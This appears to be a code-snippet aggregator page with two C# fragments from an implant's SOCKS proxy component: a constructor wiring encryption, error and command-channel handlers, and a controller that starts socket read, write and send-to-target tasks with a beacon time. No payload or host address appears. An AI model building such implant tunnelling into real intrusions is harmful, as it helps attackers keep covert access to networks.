Exemplo n.º 1
0
        public string Initialize()
        {
            string pubKey = null;

            try
            {
                _error           = new InternalErrorHandler(_config.ImplantComms);
                _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error)
                {
                    ImplantComms = ImplantComms
                };
                _sockLoopctrller = new SocksLoopController()
                {
                    Encryption      = Encryptor,
                    ErrorHandler    = _error,
                    CmdCommshandler = _cmdCommsHandler,
                    ImplantComms    = ImplantComms
                };
                _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error)
                {
                    ImplantComms = ImplantComms
                };
            }
            catch (Exception ex)
            {
                var mesg = new List <String>
                {
                    "Failed to derive server key",
                    ex.Message
                };
                _error.LogError(mesg);
            }
            return(pubKey);
        }
Exemplo n.º 2
0
 public SocksLoopController(IImplantLog icomms, CommandCommunicationHandler comms, Int16 beaconTime)
 {
     ImplantComms    = icomms;
     CmdCommshandler = comms;
     BeaconTime      = beaconTime;
     socketComms     = new SocksSocketComms()
     {
         ImplantComms = ImplantComms, CmdCommshandler = comms, BeaconTime = beaconTime
     };
     _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.WriteToSocket(), TaskCreationOptions.LongRunning));
     _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.ReadFromSocket(), TaskCreationOptions.LongRunning));
     _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.SendToTarget(), TaskCreationOptions.LongRunning));
 }